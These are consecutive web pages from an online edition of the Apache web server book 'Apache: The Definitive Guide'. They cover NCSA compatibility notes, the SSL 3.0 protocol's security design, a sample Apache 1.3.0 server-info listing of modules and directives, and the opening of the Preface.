  • Speaking of auth syntax, NCSA's dbm implementation is different than ours. Namely, where we use:

    AuthUserFile /some/flat/file
AuthDBMUserFile /some/dbm/file

    NCSA uses:

    AuthUserFile /some/flat/file standard
AuthUserFile /some/dbm/file dbm

  • Satisfy. There are enough patches floating around; can't we just commit one already (one that works, hopefully)?

  • The KeepAlive syntax in NCSA httpd is different from ours. KeepAliveTimeout is the same in both, but we use KeepAlive where they use MaxKeepAliveRequests (and 0 means different things in the two), and they have an additional KeepAlive On/Off directive. It can be made to work, it just doesn't now.

  • NCSA supports CERN imagemap format as well as NCSA. Do we? (I forget. We should.)

  • NCSA supports SSI-parsed CGI output optionally. I don't think we should do this, at least not until 2.0 (SSI could be rewritten as a filter of sorts, implemented with a stacked discipline or some such).

  • You can use "referer allow|deny" in access control sections to deny or allow requests based on the Referer header. This is what mod_block.c (in /dist/contrib/modules) does, but with vastly different syntax.

  • Redirect doesn't require a full URL: if you omit the server name, it will redirect to the local server.

  • "Redirects in .htaccess files can now take regular expressions." I have no idea what this means, but that's what it says in the release notes. I can find no evidence of anything regular-expression-like in the code.

  • Built-in FastCGI support. This would be trivial; just grab mod_fastcgi and add it to the distribution (they even include a mod_fastcgi.html in just the right format to add to our docs. Nice of 'em). Their license even lets us do it without asking them first (though it would probably be polite to). This might be a good idea (or not; the thing's 97k, even larger than mod_rewrite and mod_proxy), FastCGI seems pretty nice and well-designed (even if half of their web site is an ad for their web server). Does anyone have any experience with it?

I think that's about it.

Previous | Home | Next
B. The echo Program | Book Index | D. SSL Protocol
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SSL Protocol (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Appendix D. SSL Protocol

Contents:

Handshake Protocol
Protecting Application Data
Final Notes

This appendix reproduces verbatim the SSL protocol specification from http:// home.netspace.com/newsref/std/ssl.html.

The SSL protocol is designed to establish a secure connection between a client and a server communicating over an insecure channel. This document makes several traditional assumptions, including that attackers have substantial computational resources and cannot obtain secret information from sources outside the protocol. Attackers are assumed to have the ability to capture, modify, delete, replay, and otherwise tamper with messages sent over the communication channel. The following material outlines how SSL has been designed to resist a variety of attacks.

D.1. Handshake Protocol

The handshake protocol is responsible for selecting a CipherSpec and generating a MasterSecret, which together comprise the primary cryptographic parameters associated with a secure session. The handshake protocol can also optionally authenticate parties who have certificates signed by a trusted certificate authority.

D.1.1. Authentication and Key Exchange

SSL supports three authentication modes: authentication of both parties, server authentication with an unauthenticated client, and total anonymity. Whenever the server is authenticated, the channel should be secure against man-in-the-middle attacks, but completely anonymous sessions are inherently vulnerable to such attacks. Anonymous servers cannot authenticate clients, since the client signature in the certificate verify message may require a server certificate to bind the signature to a particular server. If the server is authenticated, its certificate message must provide a valid certificate chain leading to an acceptable certificate authority. Similarly, authenticated clients must supply an acceptable certificate to the server. Each party is responsible for verifying that the other's certificate is valid and has not expired or been revoked.

The general goal of the key exchange process is to create a pre_master_secret known to the communicating parties and not to attackers. The pre_master_secret will be used to generate the master_secret. The master_secret is required to generate the finished messages, encryption keys, and MAC secrets. By sending a correct finished message, parties prove that they know the correct pre_master_secret.

D.1.1.1. Anonymous key exchange

Completely anonymous sessions can be established using RSA, Diffie-Hellman, or Fortezza for key exchange. With anonymous RSA, the client encrypts a pre_master_secret with the server's uncertified public key extracted from the server key exchange message. The result is sent in a client key exchange message. Since eavesdroppers do not know the server's private key, it will be infeasible for them to decode the pre_master_secret.

With Diffie-Hellman or Fortezza, the server's public parameters are contained in the server key exchange message and the client's are sent in the client key exchange message. Eavesdroppers who do not know the private values should not be able to find the Diffie-Hellman result (i.e., the pre_master_secret) or the Fortezza token encryption key (TEK).

WARNING

Completely anonymous connections only provide protection against passive eavesdropping. Unless an independent tamper-proof channel is used to verify that the finished messages were not replaced by an attacker, server authentication is required in environments where active man-in-the-middle attacks are a concern.

D.1.1.2. RSA key exchange and authentication

With RSA, key exchange and server authentication are combined. The public key may be either contained in the server's certificate or may be a temporary RSA key sent in a server key exchange message. When temporary RSA keys are used, they are signed by the server's RSA or DSS certificate. The signature includes the current ClientHello.random, so old signatures and temporary keys cannot be replayed. Servers may use a single temporary RSA key for multiple negotiation sessions.

NOTE

The temporary RSA key option is useful if servers need large certificates but must comply with government-imposed size limits on keys used for key exchange.

After verifying the server's certificate, the client encrypts a pre_master_secret with the server's public key. By successfully decoding the pre_master_secret and producing a correct finished message, the server demonstrates that it knows the private key corresponding to the server certificate.

When RSA is used for key exchange, clients are authenticated using the certificate verify message (see Section 7.6.8). The client signs a value derived from the master_secret and all preceding handshake messages. These handshake messages include the server certificate, which binds the signature to the server, and ServerHello.random, which binds the signature to the current handshake process.

D.1.1.3. Diffie-Hellman key exchange with authentication

When Diffie-Hellman key exchange is used, the server can either supply a certificate containing fixed Diffie-Hellman parameters or use the client key exchange message to send a set of temporary Diffie-Hellman parameters signed with a DSS or RSA certificate. Temporary parameters are hashed with the hello.random values before signing to ensure that attackers do not replay old parameters. In either case, the client can verify the certificate or signature to ensure that the parameters belong to the server.

If the client has a certificate containing fixed Diffie-Hellman parameters, its certificate contains the information required to complete the key exchange. Note that in this case the client and server will generate the same Diffie-Hellman result (i.e., pre_master_secret) every time they communicate. To prevent the pre_master_secret from staying in memory any longer than necessary, it should be converted into the master_secret as soon as possible. Client Diffie-Hellman parameters must be compatible with those supplied by the server for the key exchange to work.

If the client has a standard DSS or RSA certificate or is unauthenticated, it sends a set of temporary parameters to the server in the client key exchange message, then optionally uses a certificate verify message to authenticate itself.

D.1.1.4. Fortezza

Fortezza's design is classified, but at the protocol level it is similar to Diffie-Hellman with fixed public values contained in certificates. The result of the key exchange process is the token encryption key (TEK), which is used to wrap data encryption keys, client write key, server write key, and master secret encryption key. The data encryption keys are not derived from the pre_master_secret because unwrapped keys are not accessible outside the token. The encrypted pre_master_secret is sent to the server in a client key exchange message.

D.1.2. Version Rollback Attacks

Because SSL Version 3.0 includes substantial improvements over SSL Version 2.0, attackers may try to make Version 3.0-capable clients and servers fall back to Version 2.0. This attack occurs if (and only if) two Version 3.0-capable parties use an SSL 2.0 handshake.

Although the solution using non-random PKCS #1 block type 2 message padding is inelegant, it provides a reasonably secure way for Version 3.0 servers to detect the attack. This solution is not secure against attackers who can brute force the key and substitute a new ENCRYPTED-KEY-DATA message containing the same key (but with normal padding) before the application-specified wait threshold has expired. Parties concerned about attacks of this scale should not be using 40-bit encryption keys anyway. Altering the padding of the least significant 8 bytes of the PKCS padding does not impact security, since this is essentially equivalent to increasing the input block size by 8 bytes.

D.1.3. Detecting Attacks Against the Handshake Protocol

An attacker might try to influence the handshake exchange to make the parties select different encryption algorithms than they would normally choose. Because many implementations will support 40-bit exportable encryption and some may even support null encryption or MAC algorithms, this attack is of particular concern.

For this attack, an attacker must actively change one or more handshake messages. If this occurs, the client and server will compute different values for the handshake message hashes. As a result, the parties will not accept each others' finished messages. Without the master_secret, the attacker cannot repair the finished messages, so the attack will be discovered.

D.1.4. Resuming Sessions

When a connection is established by resuming a session, new ClientHello.random and ServerHello.random values are hashed with the session's master_secret. Provided that the master_secret has not been compromised and that the hash operations used to produce the encryption keys and MAC secrets are secure, the connection should be secure and effectively independent from previous connections. Attackers cannot use known encryption keys or MAC secrets to compromise the master_secret without breaking the secure hash operations (which use both SHA and MD5).

Sessions cannot be resumed unless both the client and server agree. If either party suspects that the session may have been compromised, or that certificates may have expired or been revoked, it should force a full handshake. An upper limit of 24 hours is suggested for session ID lifetimes, since an attacker who obtains a master_secret may be able to impersonate the compromised party until the corresponding session ID is retired. Applications that may be run in relatively insecure environments should not write session IDs to stable storage.

D.1.5. MD5 and SHA

SSL uses hash functions very conservatively. Where possible, both MD5 and SHA are used in tandem to ensure that non-catastrophic flaws in one algorithm will not break the overall protocol.

Previous | Home | Next
C. NCSA and Apache Compatibility | Book Index | D.2. Protecting Application Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Protecting Application Data (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

D.2. Protecting Application Data

The master_secret is hashed with the ClientHello.random and ServerHello.random to produce unique data encryption keys and MAC secrets for each connection. Fortezza encryption keys are generated by the token, and are not derived from the master_secret.

Outgoing data is protected with a MAC before transmission. To prevent message replay or modification attacks, the MAC is computed from the MAC secret, the sequence number, the message length, the message contents, and two fixed character strings. The message type field is necessary to ensure that messages intended for one SSL Record Layer client are not redirected to another. The sequence number ensures that attempts to delete or reorder messages will be detected. Since sequence numbers are 64 bits long, they should never overflow. Messages from one party cannot be inserted into the other's output, since they use independent MAC secrets. Similarly, the server-write and client-write keys are independent so stream cipher keys are used only once.

If an attacker does break an encryption key, all messages encrypted with it can be read. Similarly, compromise of a MAC key can make message modification attacks possible. Because MACs are also encrypted, message-alteration attacks generally require breaking the encryption algorithm as well as the MAC.

NOTE

MAC secrets may be larger than encryption keys, so messages can remain tamper resistant even if encryption keys are broken

Previous | Home | Next
D. SSL Protocol | Book Index | D.3. Final Notes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Final Notes (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

D.3. Final Notes

For SSL to be able to provide a secure connection, both the client and server systems, keys, and applications must be secure. In addition, the implementation must be free of security errors.

The system is only as strong as the weakest key exchange and authentication algorithm supported, and only trustworthy cryptographic functions should be used. Short public keys, 40-bit bulk encryption keys, and anonymous servers should be used with great caution. Implementations and users must be careful when deciding which certificates and certificate authorities are acceptable; a dishonest certificate authority can do tremendous damage.

Previous | Home | Next
D.2. Protecting Application Data | Book Index | E. Sample Apache Log
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sample Apache Log (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Appendix E. Sample Apache Log

Apache Server Information
Server Settings, mod_so.c, mod_unique_id.c, mod_setenvif.c, mod_usertrack.c,
     mod_headers.c, mod_expires.c, mod_digest.c, mod_auth_db.c, mod_auth_anon.c,
     mod_auth.c, mod_access.c, mod_rewrite.c, mod_alias.c, mod_proxy.c,
     mod_userdir.c, mod_speling.c, mod_actions.c, mod_imap.c, mod_asis.c,
     mod_cgi.c, mod_dir.c, mod_autoindex.c, mod_include.c, mod_info.c,
     mod_status.c, mod_negotiation.c, mod_mime.c, mod_mime_magic.c,
     mod_log_config.c, mod_env.c,
http_core.c
Server Version: Apache/1.3.0 (Unix)
Server Built: Jul 8 1998 13:31:06
API Version: 19980527
Run Mode: standalone
User/Group: webuser(1001)/1001
Hostname/port: www.butterthlies.com:0
Daemons: start: 5    min idle: 5    max idle: 10    max: 256
Max Requests: per child: 0    keep alive: on    max per connection: 100
Threads: per child: 0
Excess requests: per child: 0
Timeouts: connection: 300    keep-alive: 15
Server Root: /usr/www/site.status
Config File: conf/httpd.conf
PID File: logs/httpd.pid
Scoreboard File: logs/apache_runtime_status
Module Name: mod_so.c
Content handlers: none
Configuration Phase Participation: Create Server Config
Request Phase Participation: none
Module Directives:
     LoadModule - a module name and the name of a shared object file to load it
         from LoadFile - shared object file or library to load into the server
         at runtime
Current Configuration:
Module Name: mod_unique_id.c
Content handlers: none
Configuration Phase Participation: Child Init
Request Phase Participation: Post-Read Request
Module Directives: none
Module Name: mod_setenvif.c
Content handlers: none
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: Post-Read Request
Module Directives:
     SetEnvIf - A header-name, regex and a list of variables.
     SetEnvIfNoCase - a header-name, regex and a list of variables.
     BrowserMatch - A browser regex and a list of variables.
     BrowserMatchNoCase - A browser regex and a list of variables.
Current Configuration:
Module Name: mod_usertrack.c
Content handlers: none
Configuration Phase Participation: Create Directory Config, Create Server Config
Request Phase Participation: Fixups
Module Directives:
     CookieExpires - an expiry date code
     CookieTracking - whether or not to enable cookies
Current Configuration:
Module Name: mod_headers.c
Content handlers: none
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs, Create Server Config, Merge Server Configs
Request Phase Participation: Fixups
Module Directives:
     Header - an action, header and value
Current Configuration:
Module Name: mod_expires.c
Content handlers: none
Configuration Phase Participation: Create Directory Config,
     Merge Directory Configs
Request Phase Participation: Fixups
Module Directives:
     ExpiresActive - Limited to 'on' or 'off'
     ExpiresBytype - a MIME type followed by an expiry date code
     ExpiresDefault - an expiry date code
Current Configuration:
Module Name: mod_digest.c
Content handlers: none
Configuration Phase Participation: Create Directory Config
Request Phase Participation: Verify User ID, Verify User Access
Module Directives:
     AuthDigestFile -
Current Configuration:
Module Name: mod_auth_db.c
Content handlers: none
Configuration Phase Participation: Create Directory Config
Request Phase Participation: Verify User ID, Verify User Access
Module Directives:
     AuthDBUserFile -
     AuthDBGroupFile -
     AuthUserFile -
     AuthGroupFile -
     AuthDBAuthoritative - Set to 'no' to allow access control to be passed along
         to lower modules if the userID is not known to this module
Current Configuration:
Module Name: mod_auth_anon.c
Content handlers: none
Configuration Phase Participation: Create Directory Config
Request Phase Participation: Verify User ID, Verify User Access
Module Directives:
     Anonymous - a space-separated list of user IDs
     Anonymous_MustGiveEmail - Limited to 'on' or 'off'
     Anonymous_NoUserId - Limited to 'on' or 'off'
     Anonymous_VerifyEmail - Limited to 'on' or 'off'
     Anonymous_LogEmail - Limited to 'on' or 'off'
     Anonymous_Authoritative - Limited to 'on' or 'off'
Current Configuration:
Module Name: mod_auth.c
Content handlers: none
Configuration Phase Participation: Create Directory Config
Request Phase Participation: Verify User ID, Verify User Access
Module Directives:
     AuthUserFile - text file containing user IDs and passwords
     AuthGroupFile - text file containing group names and member user IDs
     AuthAuthoritative - Set to 'no' to allow access control to be passed along
         to lower modules if the UserID is not known to this module
Current Configuration:
Module Name: mod_access.c
Content handlers: none
Configuration Phase Participation: Create Directory Config
Request Phase Participation: Check Access
Module Directives:
     order - 'allow,deny', 'deny,allow', or 'mutual-failure'
     allow - 'from' followed by hostnames or IP-address wildcards
     deny - 'from' followed by hostnames or IP-address wildcards
Current Configuration:
httpd.conf
     <Location /status>
       <Limit get>
         order deny,allow
         allow from 192.168.123.1
         deny from all
       </Limit>
     </Location>
     <Location /info>
       <Limit get>
         order deny,allow
         allow from 192.168.123.1
         deny from all
       </Limit>
     </Location>
Module Name: mod_rewrite.c
Content handlers: redirect-handler
Configuration Phase Participation: Child Init, Create Directory Config, Merge
     Directory Configs, Create Server Config, Merge Server Configs
Request Phase Participation: Translate Path, Check Type, Fixups
Module Directives:
     RewriteEngine - On or Off to enable or disable (default) the whole rewriting
         engine
     RewriteOptions - List of option strings to set
     RewriteBase - the base URL of the per-directory context
     RewriteCond - a input string and a to be applied regexp-pattern
     RewriteRule - a URL-applied regexp-pattern and a substitution URL
     RewriteMap - a mapname and a filename
     RewriteLock - the filename of a lockfile used for inter-process
         synchronization
     RewriteLog - the filename of the rewriting logfile
     RewriteLogLevel - the level of the rewriting logfile verbosity (0=none,
         1=std, .., 9=max)
Current Configuration:
Module Name: mod_alias.c
Content handlers: none
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs, Create Server Config, Merge Server Configs
Request Phase Participation: Translate Path, Fixups
Module Directives:
     Alias - a fakename and a realname
     ScriptAlias - a fakename and a realname
     Redirect - an optional status, then document to be redirected and
         destination URL
     AliasMatch - a regular expression and a filename
     ScriptAliasMatch - a regular expression and a filename
     RedirectMatch - an optional status, then a regular expression and
         destination URL
     RedirectTemp - a document to be redirected, then the destination URL
     RedirectPermanent - a document to be redirected, then the destination URL
Current Configuration:
Module Name: mod_proxy.c
Content handlers: proxy-server
Configuration Phase Participation: Create Server Config
Request Phase Participation: Post-Read Request, Translate Path, Fixups
Module Directives:
     ProxyRequests - on if the true proxy requests should be accepted
     ProxyRemote - a scheme, partial URL or '*' and a proxy server
     ProxyPass - a virtual path and a URL
     ProxyPassReverse - a virtual path and a URL for reverse proxy behaviour
     ProxyBlock - A list of names, hosts or domains to which the proxy will not
         connect
     ProxyReceiveBufferSize - Receive buffer size for outgoing HTTP and FTP
         connections in bytes
     NoProxy - A list of domains, hosts, or subnets to which the proxy will
         connect directly
     ProxyDomain - The default intranet domain name (in absence of a domain in
         the URL)
     CacheRoot - The directory to store cache files
     CacheSize - The maximum disk space used by the cache in Kb
     CacheMaxExpire - The maximum time in hours to cache a document
     CacheDefaultExpire - The default time in hours to cache a document
     CacheLastModifiedFactor - The factor used to estimate Expires date from
         LastModified date
     CacheGcInterval - The interval between garbage collections, in hours
     CacheDirLevels - The number of levels of subdirectories in the cache
     CacheDirLength - The number of characters in subdirectory names
     NoCache - A list of names, hosts or domains for which caching is *not*
         provided
Current Configuration:
Module Name: mod_userdir.c
Content handlers: none
Configuration Phase Participation: Create Server Config
Request Phase Participation: Translate Path
Module Directives:
     UserDir - the public subdirectory in users' home directories, or 'disabled',
         or 'disabled username username...', or 'enabled username username...'
Current Configuration:
Module Name: mod_speling.c
Content handlers: none
Configuration Phase Participation: Create Server Config
Request Phase Participation: Fixups
Module Directives:
     CheckSpelling - whether or not to fix miscapitalized/misspelled requests
Current Configuration:
Module Name: mod_actions.c
Content handlers: */*
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs
Request Phase Participation: none
Module Directives:
     Action - a media type followed by a script name
     Script - a method followed by a script name
Current Configuration:
Module Name: mod_imap.c
Content handlers: application/x-httpd-imap , imap-file
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs
Request Phase Participation: none
Module Directives:
     ImapMenu - the type of menu generated: none, formatted, semiformatted,
         unformatted
     ImapDefault - the action taken if no match: error, nocontent, referer, menu,
         URL
     ImapBase - the base for all URL's: map, referer, URL (or start of)
Current Configuration:
Module Name: mod_asis.c
Content handlers: httpd/send-as-is , send-as-is
Configuration Phase Participation: none
Request Phase Participation: none
Module Directives: none
Module Name: mod_cgi.c
Content handlers: application/x-httpd-cgi , cgi-script
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: none
Module Directives:
     ScriptLog - the name of a log for script debugging info
     ScriptLogLength - the maximum length (in bytes) of the script debug log
     ScriptLogBuffer - the maximum size (in bytes) to record of a POST request
Current Configuration:
Module Name: mod_dir.c
Content handlers: httpd/unix-directory
Configuration Phase Participation: Create Directory Config, Merge Directory
    Configs
Request Phase Participation: none
Module Directives:
     DirectoryIndex - a list of file names
Current Configuration:
Module Name: mod_autoindex.c
Content handlers: httpd/unix-directory
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs
Request Phase Participation: none
Module Directives:
     AddIcon - an icon URL followed by one or more filenames
     AddIconByType - an icon URL followed by one or more MIME types
     AddIconByEncoding - an icon URL followed by one or more content encodings
     AddAlt - alternate descriptive text followed by one or more filenames
     AddAltByType - alternate descriptive text followed by one or more MIME types
     AddAltByEncoding - alternate descriptive text followed by one or more
         content encodings
     IndexOptions - one or more index options
     IndexIgnore - one or more file extensions
     AddDescription - Descriptive text followed by one or more filenames
     HeaderName - a filename
     ReadmeName - a filename
     FancyIndexing - Limited to 'on' or 'off' (superseded by IndexOptions
         FancyIndexing)
     DefaultIcon - an icon URL
Current Configuration:
Module Name: mod_include.c
Content handlers: text/x-server-parsed-html , text/x-server-parsed-html3,
     server-parsed , text/html
Configuration Phase Participation: Create Directory Config
Request Phase Participation: none
Module Directives:
     XBitHack - Off, On, or Full
Current Configuration:
Module Name: mod_info.c
Content handlers: server-info
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: none
Module Directives:
     AddModuleInfo - a module name and additional information on that module
Current Configuration:
Module Name: mod_status.c
Content handlers: application/x-httpd-status , server-status
Configuration Phase Participation: none
Request Phase Participation: none
Module Directives: none
Module Name: mod_negotiation.c
Content handlers: application/x-type-map , type-map
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs
Request Phase Participation: Check Type, Fixups
Module Directives:
     CacheNegotiatedDocs - no arguments (either present or absent)
     LanguagePriority - space-delimited list of MIME language abbreviations
Current Configuration:
Module Name: mod_mime.c
Content handlers: none
Configuration Phase Participation: Create Directory Config, Merge Directory
     Configs
Request Phase Participation: Check Type
Module Directives:
     AddType - a mime type followed by one or more file extensions
     AddEncoding - an encoding (e.g., gzip), followed by one or more file
         extensions
     AddLanguage - a language (e.g., fr), followed by one or more file extensions
     AddHandler - a handler name followed by one or more file extensions
     ForceType - a media type
     SetHandler - a handler name
     TypesConfig - the MIME types config file
Current Configuration:
httpd.conf
     <Location /status>
       SetHandler server-status
     </Location>
     <Location /info>
       SetHandler server-info
     </Location>
Module Name: mod_mime_magic.c
Content handlers: none
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: Check Type
Module Directives:
     MimeMagicFile - Path to MIME Magic file (in file(1) format)
Current Configuration:
Module Name: mod_log_config.c
Content handlers: none
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: Logging
Module Directives:
     CustomLog - a file name and a custom log format string or format name
     TransferLog - the filename of the access log
     LogFormat - a log format string (see docs) and an optional format name
     CookieLog - the filename of the cookie log
Current Configuration:
httpd.conf
     TransferLog logs/access_log
Module Name: mod_env.c
Content handlers: none
Configuration Phase Participation: Create Server Config, Merge Server Configs
Request Phase Participation: Fixups
Module Directives:
     PassEnv - a list of environment variables to pass to CGI.
     SetEnv - an environment variable name and a value to pass to CGI.
     UnsetEnv - a list of variables to remove from the CGI environment.
Current Configuration:
Module Name: http_core.c
Content handlers: */*
Configuration Phase Participation: Create Directory Config, Merge Directory
    Configs, Create Server Config, Merge Server Configs
Request Phase Participation: Translate Path, Check Access, Check Type
Module Directives:
     <Directory - Container for directives affecting resources located in
         the specified directories
     </Directory> - Marks end of
     <Location - Container for directives affecting resources accessed through
         the specified URL paths
     </Location> - Marks end of
     <VirtualHost - Container to map directives to a particular virtual host,
         takes one or more host addresses
     </VirtualHost> - Marks end of
     <Files - Container for directives affecting files matching specified
         patterns
     </Files> - Marks end of
     <Limit - Container for authentication directives when accessed using
         specified HTTP methods
     </Limit> - Marks end of
     <IfModule - Container for directives based on existence of specified modules
     </IfModule> - Marks end of
     <DirectoryMatch - Container for directives affecting resources located in
         the specified directories
     </DirectoryMatch> - Marks end of
     <LocationMatch - Container for directives affecting resources accessed
         through the specified URL paths
     </LocationMatch> - Marks end of
     <FilesMatch - Container for directives affecting files matching specified
         patterns
     </FilesMatch> - Marks end of
     AuthType - An HTTP authorization type (e.g., "Basic")
     AuthName - The authentication realm (e.g. "Members Only")
     Require - Selects which authenticated users or groups may access a protected
         space
     Satisfy - access policy if both allow and require used ('all' or 'any')
     AccessFileName - Name(s) of per-directory config files (default: .htaccess)
     DocumentRoot - Root directory of the document tree
     ErrorDocument - Change responses for HTTP errors
     AllowOverride - Controls what groups of directives can be configured by
         per-directory config files
     Options - Set a number of attributes for a given directory
     DefaultType - the default MIME type for untypable files
     ServerType - 'inetd' or 'standalone'
     Port - A TCP port number
     HostnameLookups - "on" to enable, "off" to disable reverse DNS lookups, or
         "double" to enable double-reverse DNS lookups
     User - Effective user id for this server
     Group - Effective group id for this server
     ServerAdmin - The email address of the server administrator
     ServerName - The hostname of the server
     ServerSignature - En-/disable server signature (on|off|email)
     ServerRoot - Common directory of server-related files (logs, confs, etc)
     ErrorLog - The filename of the error log
     PidFile - A file for logging the server process ID
     ScoreBoardFile - A file for Apache to maintain runtime process management
         information
     LockFile - The lockfile used when Apache needs to lock the accept() call
     AccessConfig - The filename of the access config file
     ResourceConfig - The filename of the resource config file
     ServerAlias - A name or names alternately used to access the server
     ServerPath - The pathname the server can be reached at
     Timeout - Timeout duration (sec)
     KeepAliveTimeout - Keep-Alive timeout duration (sec)
     MaxKeepAliveRequests - Maximum number of Keep-Alive requests per connection,
         or 0 for infinite
     KeepAlive - Whether persistent connections should be On or Off
     IdentityCheck - Enable identd (RFC 1413) user lookups - SLOW
     ContentDigest - whether or not to send a Content-MD5 header with each
         request
     UseCanonicalName - whether or not to always use the canonical ServerName :
         Port when constructing URLs
     StartServers - Number of child processes launched at server startup
     MinSpareServers - Minimum number of idle children, to handle request spikes
     MaxSpareServers - Maximum number of idle children
     MaxServers - Deprecated equivalent to MaxSpareServers
     ServersSafetyLimit - Deprecated equivalent to MaxClients
     MaxClients - Maximum number of children alive at the same time
     MaxRequestsPerChild - Maximum number of requests a particular child serves
         before dying.
     RLimitCPU - soft/hard limits for max CPU usage in seconds
     RLimitMEM - soft/hard limits for max memory usage per process
     RLimitNPROC - soft/hard limits for max number of processes per uid
     BindAddress - '*', a numeric IP address, or the name of a host with a unique
         IP address
     Listen - a port number or a numeric IP address and a port number
     SendBufferSize - send buffer size in bytes
     AddModule - the name of a module
     ClearModuleList -
     ThreadsPerChild - Number of threads a child creates
     ExcessRequestsPerChild - Maximum number of requests a particular child
         serves after it is ready to die.
     ListenBacklog - maximum length of the queue of pending connections, as used
         by listen(2)
     CoreDumpDirectory - The location of the directory Apache changes to before
         dumping core
     Include - config file to be included
     LogLevel - set level of verbosity in error logging
     NameVirtualHost - a numeric ip address:port, or the name of a host
     ServerTokens - Determine tokens displayed in the Server: header - Min(imal),
         OS or Full
Current Configuration:
httpd.conf
     User webuser
     Group webgroup
     ServerName www.butterthlies.com
     DocumentRoot /usr/www/site.status/htdocs

This is all good, reliable information because it comes from running modules.

Previous | Home | Next
D.3. Final Notes | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Preface

Apache: The Definitive Guide is principally about the Apache web server software. We explain what a web server is and how it works, but our assumption is that most of our readers have used the World Wide Web and understand in practical terms how it works, and that they are now thinking about running their own servers to offer material to the hungry masses.

This book takes the reader through the process of acquiring, compiling, installing, configuring, and modifying Apache. We exercise most of the package's functions by showing a set of example sites that take a reasonably typical web business -- in our case, a postcard publisher -- through a process of development and increasing complexity. However, we have deliberately not tried to make each site more complicated than the last. Most of the chapters refer to an illustrative site that is as simple as we could make it. Each site is pretty well self-contained so that the reader can refer to it while following the text without having to disentangle the meat there from extraneous vegetables. If desired, it is perfectly possible to install and run each site on a suitable system.

Perhaps it is worth saying what this book is not. It is not a manual, in the sense of formally documenting every command -- such a manual exists on the Apache site and has been much improved with Version 1.3; we assume that if you want to use Apache, you will download it and keep it at hand. Rather, if the manual is a roadmap that tells you how to get somewhere, this book tries to be a tourist guide that tells you why you might want to make the journey.

It also is not a book about HTML or creating web pages, or one about web security or even about running a web site. These are all complex subjects that should either be treated thoroughly or left alone. A compact, readable book that dealt thoroughly with all these topics would be most desirable.

A webmaster's library, however, is likely to be much bigger. It might include books on the following topics:

  • The Web and how it works

  • HTML -- what you can do with it

  • How to decide what sort of web site you want, how to organize it, and how to protect it

  • How to implement the site you want using one of the available servers (for instance, Apache)

  • Handbooks on Java, Perl, and other languages

  • Security

Apache: The Definitive Guide is just one of the six or so possible titles in the fourth category.

Apache is a versatile package and is becoming more versatile every day, so we have not tried to illustrate every possible combination of commands; that would require a book of a million pages or so. Rather, we have tried to suggest lines of development that a typical webmaster should be able to follow once an understanding of the basic concepts is achieved.

As with the first edition, writing the book was something of a race with Apache's developers. We wanted to be ready as soon as Version 1.3 was stable, but not before the developers had finished adding new features. Unfortunately, although 1.3 was in "feature freeze" from early 1998 on, we could not be sure that new features might not become necessary to fix newly discovered problems.

In many of the examples that follow, the motivation for what we make Apache do is simple enough and requires little explanation (for example, the different index formats in Chapter 7, "Indexing"). Elsewhere, we feel that the webmaster needs to be aware of wider issues (for instance, the security issues discussed in Chapter 13, "Security") before making sensible decisions about his or her site's configuration, and we have not hesitated to branch out to deal with them.

0.1. Who Wrote Apache, and Why?

Apache gets its name from the fact that it consists of some existing code plus some patches. The FAQ[1] thinks that this is cute; others may think it's the sort of joke that gets programmers a bad name. A more responsible group thinks that Apache is an appropriate title because of the resourcefulness and adaptability of the American Indian tribe.

[1]FAQ is netspeak for Frequently Asked Questions. Most sites/subjects have an FAQ file that tells you what the thing is, why it is, and where it is going. It is perfectly reasonable for the newcomer to ask for the FAQ to look up anything new to him or her, and indeed this is a sensible thing to do, since it reduces the number of questions asked. Apache's FAQ can be found at http://www.apache.org/docs/FAQ.html.

You have to understand that Apache is free to its users and is written by a team of volunteers who do not get paid for their work. Whether or not they decide to incorporate your or anyone else's ideas is entirely up to them. If you don't like this, feel free to collect a team and write your own web server.

The first web server was built by the British physicist Tim Berners-Lee at CERN, the European Centre for Nuclear Research at Geneva, Switzerland. The immediate ancestor of Apache was built by the U.S. government in the person of NCSA, the National Center for Supercomputing Applications. This fine body is not to be confused with the National Computing Security Agency or the North Carolina Schools Association. Because this code was written with (American) taxpayers' money, it is available to all; you can, if you like, download the source code in C from www.ncsa.uiuc.edu, paying due attention to the license conditions.

There were those who thought that things could be done better, and in the FAQ for Apache (at http://www.apache.org) we read:

...Apache was originally based on code and ideas found in the most popular HTTP server of the time, NCSA httpd 1.3 (early 1995).

That phrase "of the time" is nice. It usually refers to good times back in the 1700s or the early days of technology in the 1900s. But here it means back in the deliquescent bogs of a few years ago!

While the Apache site is open to all, Apache is written by an invited group of (we hope) reasonably good programmers. One of the authors of this book, Ben, is a member of this group.

Why do they bother? Why do these programmers, who presumably could be well paid for doing something else, sit up nights to work on Apache for our benefit? There is no such thing as a free lunch, so they do it for a number of typically human reasons. One might list, in no particular order:

  • They want to do something more interesting than their day job, which might be writing stock control packages for BigBins, Inc.

  • They want to be involved on the edge of what is happening. Working on a project like this is a pretty good way to keep up-to-date. After that comes consultancy on the next hot project.

  • The more worldly ones might remember how, back in the old days of 1995, quite a lot of the people working on the web server at NCSA left for a thing called Netscape and became, in the passage of the age, zillionaires.

  • It's fun. Developing good software is interesting and amusing and you get to meet and work with other clever people.

